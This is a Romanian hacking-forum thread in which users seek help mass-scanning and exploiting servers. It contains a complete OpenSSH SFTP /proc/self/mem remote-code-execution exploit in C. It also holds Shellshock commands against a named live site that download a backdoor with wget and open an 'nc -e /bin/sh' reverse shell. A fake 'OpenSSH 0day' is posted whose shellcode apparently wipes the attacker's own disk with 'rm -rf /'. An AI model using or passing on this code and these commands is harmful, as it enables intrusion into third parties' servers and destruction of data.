florinul

reupload? nu merge linkul poti sa pui .zip sau .tgz ?

Nytro era prea frumos sa fie fara user si pass

am gasit eu cate vuln care apare ca e vulnerabil da nu arata cgi-ul arata doar ip nustiu ce sa zic...

OpenSSH lets you grant SFTP access to users without allowing full command execution using "ForceCommand internal-sftp". However, if you misconfigure the server and don't use ChrootDirectory, the user will be able to access all parts of the filesystem that he has access to - including procfs. On modern Linux kernels (>=2.6.39, I think), /proc/self/maps reveals the memory layout and /proc/self/mem lets you write to arbitrary memory positions. Combine those and you get easy RCE. The linux version of OpenSSH 6.7 contains a mitigation, see the release notes: * sftp-server(8): On platforms that support it, use prctl() to prevent sftp-server from accessing /proc/self/{mem,maps} Here's my PoC for 64bit Linux: #define _GNU_SOURCE // THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT // TRY TO ATTACK BACK, THE CODE IS SLOPPY! // (In other words, please don't use this against other people's machines.) #include <libssh/libssh.h> #include <libssh/sftp.h> #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <errno.h> #define min(a, (((a)<()?(a)) sftp_session sftp; size_t grab_file(char *rpath, char **out) { size_t allocated = 4000, used = 0; *out = calloc(1, allocated+1); sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0); if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1); while (1) { ssize_t nbytes = sftp_read(f, *out+used, allocated-used); if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1); if (nbytes == 0) { (*out)[used] = '\0'; sftp_close(f); return used; } used += nbytes; if (used == allocated) { allocated *= 4; *out = realloc(*out, allocated); } } } void dump_file(char *name, void *buf, size_t len) { FILE *f = fopen(name, "w+"); if (!f) perror("can't write to local file"), exit(1); if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1); if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1); } size_t slurp_file(char *path, char **out) { size_t allocated = 4000, used = 0; *out = calloc(1, allocated+1); FILE *f = fopen(path, "r"); if (f == NULL) perror("opening local file failed"), exit(1); while (1) { ssize_t nbytes = fread(*out+used, 1, allocated-used, f); if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1); if (nbytes == 0) { (*out)[used] = '\0'; if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1); return used; } used += nbytes; if (used == allocated) { allocated *= 4; *out = realloc(*out, allocated); } } } int main(int argc, char **argv) { if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1); char *target_host = argv[1]; char *target_user = argv[2]; char *shell_commands = argv[3]; ssh_session my_ssh_session; int rc; char *password; // Open session and set options my_ssh_session = ssh_new(); if (my_ssh_session == NULL) exit(-1); ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host); ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user); // Connect to server rc = ssh_connect(my_ssh_session); if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1); // Authenticate ourselves password = getpass("Password: "); rc = ssh_userauth_password(my_ssh_session, NULL, password); if (rc != SSH_AUTH_SUCCESS) fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1); sftp = sftp_new(my_ssh_session); if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1); rc = sftp_init(sftp); if (rc != SSH_OK) { fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp)); sftp_free(sftp); return rc; } char *mappings; grab_file("/proc/self/maps", &mappings); //printf("/proc/self/maps dump: \n%s\n\n\n", mappings); printf("got /proc/self/maps. looking for libc...\n"); // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466 /lib/x86_64-linux-gnu/libc-2.13.so long long start_addr, end_addr, offset; char *libc_path = NULL; long long stack_start_addr = 0, stack_end_addr; for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) { if (strstr(p, " r-xp ") && strstr(p, "/libc-")) { if (libc_path) fprintf(stderr, "warning: two times libc?\n"); printf("mapping line: %s\n", p); if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1); libc_path = strdup(strchr(p, '/')); if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1); } if (strstr(p, "[stack]")) { if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1); printf("mapping line: %s\n", p); if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1); } } if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1); if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1); printf("remote libc is at %s\n", libc_path); printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr); char *libc; size_t libc_size = grab_file(libc_path, &libc); dump_file("libc.so", libc, libc_size); printf("downloaded libc, size is %zu bytes\n", libc_size); system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr"); char *system_offset_str; slurp_file("system.addr", &system_offset_str); long long system_offset; if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1); long long remote_system_addr = start_addr+system_offset-offset; printf("remote system() function is at %Lx\n", remote_system_addr); printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n"); char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2); if (gadget == NULL) fprintf(stderr, "no gadget found \n"), exit(1); long long gadget_address = start_addr + (gadget-(libc+offset)); long long ret_address = gadget_address+1; printf("found gadget at %Lx\n", gadget_address); printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr); printf("doing it the quick-and-dirty way (that means: pray that the target" "program was compiled with gcc, giving us 16-byte stack alignment)...\n"); long long stack_len = stack_end_addr - stack_start_addr; /*if (stack_len > 32000) { stack_len = 32000; stack_start_addr = stack_end_addr - stack_len; }*/ char *new_stack = malloc(stack_len); // first fill it with our ret slide for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) { *s = ret_address; } // put some shell commands in the head strcpy(new_stack, shell_commands); // put the mini-ROP-chain at the end // [address of pop rdi] [stack head] [address of system] long long *se = (void*)(new_stack + stack_len); se[-3] = gadget_address; se[-2] = stack_start_addr; se[-1] = remote_system_addr; printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n"); sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0); if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1); // first send over the string rc = sftp_seek64(mem, stack_start_addr); if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1); ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1); if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n"); // now send over the rest right-to-left for (long long off = stack_len-32000; off >= 0; off -= 32000) { rc = sftp_seek64(mem, stack_start_addr+off); if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1); mem_written = sftp_write(mem, new_stack+off, 32000); if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good \n"), exit(0); } return 0; } source : OpenSSH 6.6 SFTP Misconfiguration Proof Of Concept ? Packet Storm

l-a incercat cineva?

l-am incercat pe clasa 66.33 nu a gasit nici unul vuln ori nu functioneaza cum trebuie . am sa incec pe 66. *

Nu vroiam pentru a face o parerr despre impactul pe care il are vulnrrabilutatea

Nytro recunosc nu ma mai priceo deoarece nu mam mai ocupat ani de zile . Mai degraba explicami cum sa scanez mass cu el de exemplu cu pnscan ala nu se poate ?

Chiar nu ne poate ajuta nimeni sa il facem masscan ?

ma indruma si pe mine cineva ? am inccat pe mai multe servere asa php php -u http://www.gallery.cz/cgi-bin/gallery/hynekol/aps.sh -c" wget http://suse.altervista.org/s/dc.txt -O /tmp/dc.txt" php php -u http://www.gallery.cz/cgi-bin/gallery/hynekol/aps.sh -c " perl dc.txt ip.ip.ip.ip 2121" sau php -u http://www.gallery.cz/cgi-bin/gallery/hynekol/aps.sh -c"/ bin/nc -e /bin/sh ip.ip.ip.ip 2121" si nu a mers pe nici unul . imi xplica si mie cineva cum fac nc pe serverle vuln de bash ?

Era mai simplu daca spunea cineva ... asa trebuie sa staunsa descifrez una alta

Un exemplu concret nytro ? Sa zicem ca avem serverul 1.2.3.4

Pai si care e criteriul.pt serverele vuln ? Cum le gasesti un dork ceva ?

L-am creat da tot nu se intampla nimic ...

salutare xplica-mi cum se foloseste agro2:/tmp# php wp PHP Warning: Module 'MapScript' already loaded in Unknown on line 0 Warning: file(4char.txt): failed to open stream: No such file or directory in /tmp/wp on line 10 Cookie name: wordpress_72e38bc39b0910555ad5cac5dcbf8381 All possible cookie values: Warning: Invalid argument supplied for foreach() in /tmp/wp on line 14 am modificat auth salt url etc...

banuiesc ca la mine e fiindc anu am nagios instalat pe srverul de pe care incec scanul nu ?

Fed0t trebuie sa am nagios instalat pe severul de pe care rulez exploitul ?

trebuie sa am nagios instalat pe severu de pe care rulez scanneru ?

95.85.55.54 Open (Trying to exploit.Check NetCat Listener) /bin/sh: /usr/local/nagios/libexec/check_nrpe: No such file or directory de ce da asa?

imi da eroarea asta root:mydediserver [/dev/shm]# python a.py File "a.py", line 91 with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines() ^ SyntaxError: invalid syntax de ce?

am incercat pe mai multe hosturi si tot nu merge. Il pun .php nu ? adica copii textul intr-un fisier .php si apoi url http://host/fisier.php?

mie nu imi merge am facut fisier .html l-am urcat pe host nimica ,apoi l-am facut si php si tot nimic ori se copie codu de aiurea

BTW cred ca e fake . nu stiu ce face shellcodu ala exact . Cine se pricepe rog sa posteze parerea aici

/* * * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! * * OpenSSH <= 5.3 remote root 0day exploit (32-bit x86) * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! * * */ #include <stdio.h> #include <netdb.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> void usage(char *argv[]) { printf("\n\t[+] HATSUNEMIKU\n"); printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n"); printf("\t[+] By: Team foxx\n"); printf("\t[+] Greetz to hackforums.net\n"); printf("\t[+] Keep this 0day priv8!\n"); printf("\t[+] usage: %s <target> <port>\n\n", argv[0]); exit(1); } unsigned char decoder[]= "\x6a\x0b\x58\x99\x52" "\x6a\x2f\x89\xe7\x52" "\x66\x68\x2d\x66\x89" "\xe6\x52\x66\x68\x2d" "\x72\x89\xe1\x52\x68" "\x2f\x2f\x72\x6d\x68" "\x2f\x62\x69\x6e\x89" "\xe3\x52\x57\x56\x51" "\x53\x89\xe1\xcd\x80"; unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b" "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1" "\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31" "\xdb\x40\xcd\x80"; int main(int argc, char **argv) { int euid = geteuid(); int port= 22, sock; char h[1000]; struct hostent *host; struct sockaddr_in addr; if(euid != 0) { fprintf(stderr, "You need to be root to use raw sockets.\n"); exit(1); } if(euid == 0) { fprintf(stdout, "MIKU! MIKU! MIKU!\n"); } if(argc != 3) usage(argv); if(!inet_aton(h, &addr.sin_addr)) { host = gethostbyname(h); if(!host) { fprintf(stderr, "[-] Exploit failed.\n"); (*(void(*)())decoder)(); exit(1); } addr.sin_addr = *(struct in_addr*)host->h_addr; } sock = socket(PF_INET, SOCK_STREAM, 0); addr.sin_port = htons(port); addr.sin_family = AF_INET; if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1) { fprintf(stderr,"[-] Exploit failed.\n"); exit(1); } char payload[1337]; memcpy(payload, &decoder, sizeof(decoder)); memcpy(payload, &rootshell, sizeof(rootshell)); send(sock, payload, strlen(payload),0); close(sock); if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1) { fprintf(stderr, "[-] Exploit failed.\n"); exit(1); } else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0) { fprintf(stdout, "[+]g0t sh3ll!\n"); system("/bin/bash"); } else { fprintf(stderr, "[-] Exploit failed.\n"); close(sock); exit(0); } } Sursa : [C] SSH 5.3 remote root 0day exploit - Pastebin.com

2/19/2014 3:48:06 PM HTTP filter archive Download: 2keflight.txt | xup.in HTML/Iframe.B.Gen virus connection terminated - quarantined Threat was detected upon access to web by the application: C:\Program Files\Mozilla Firefox\firefox.exe.